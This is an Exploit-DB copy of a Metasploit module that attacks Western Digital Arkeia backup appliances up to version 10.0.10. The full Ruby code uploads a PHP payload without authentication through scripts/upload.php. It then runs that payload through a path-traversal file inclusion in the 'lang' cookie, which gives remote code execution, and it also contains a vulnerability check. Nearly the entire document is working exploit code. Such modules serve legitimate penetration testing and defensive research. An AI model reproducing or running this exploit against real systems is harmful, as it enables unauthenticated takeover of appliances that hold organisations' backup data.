Western Digital Arkeia < 10.0.10 - Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## # Exploit-DB Note: a little dirty fix-up, had to add the PHP tags around the payload require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Western Digital Arkeia Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability found in Western Digital Arkeia Appliance version 10.0.10 and lower. By abusing the upload.php file from the scripts directory, a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp directory without any authentication. Abusing the local file inclusion in the lang cookie to parse this file, results in arbitrary code execution, also without any authentication. The module has been tested successfully on Arkeia 10.0.10. The issues have been fixed in version 10.1.10. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module ], 'References' => [ ['EDB', '28330'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Western Digital Arkeia Appliance 10.0.10', {}] ], 'Privileged' => false, 'DisclosureDate' => "Sep 16 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/']) ], self.class) end def uri return target_uri.path end def peer return "#{rhost}:#{rport}" end def check # Check version print_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri) }) if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/ version = $1 else return Exploit::CheckCode::Unknown end print_status("#{peer} - Version #{version} detected") if version > "10.0.10" return Exploit::CheckCode::Safe end # Check for vulnerable component print_status("#{peer} - Trying to detect the vulnerable component") res = send_request_cgi({ 'method' => 'GET', 'headers' => { 'Cookie' => "lang=fr" }, 'uri' => normalize_uri(uri) }) if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit payload_name = rand_text_alpha(rand(10) + 5) post_data = Rex::MIME::Message.new post_data.add_part('<?php '+payload.encoded+'?>', "application/octet-stream", nil, "form-data; name=\"UPLOAD\"; filename=\"#{payload_name}\"") file = post_data.to_s file.strip! print_status("#{peer} - Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "scripts", "upload.php"), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => file }) # If the server returns 200 we assume we uploaded the malicious # file successfully if not res or res.code != 200 fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") end register_files_for_cleanup("/tmp/ApplianceUpdate") print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate") res = send_request_cgi({ 'method' => 'GET', 'headers' => { 'Cookie' => "lang=../../../../../../../../../../../../../../../../tmp/ApplianceUpdate%00en" }, 'uri' => normalize_uri(uri) }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. if res and res.code != 200 print_error("#{peer} - Unexpected response, probably the exploit failed") end end end |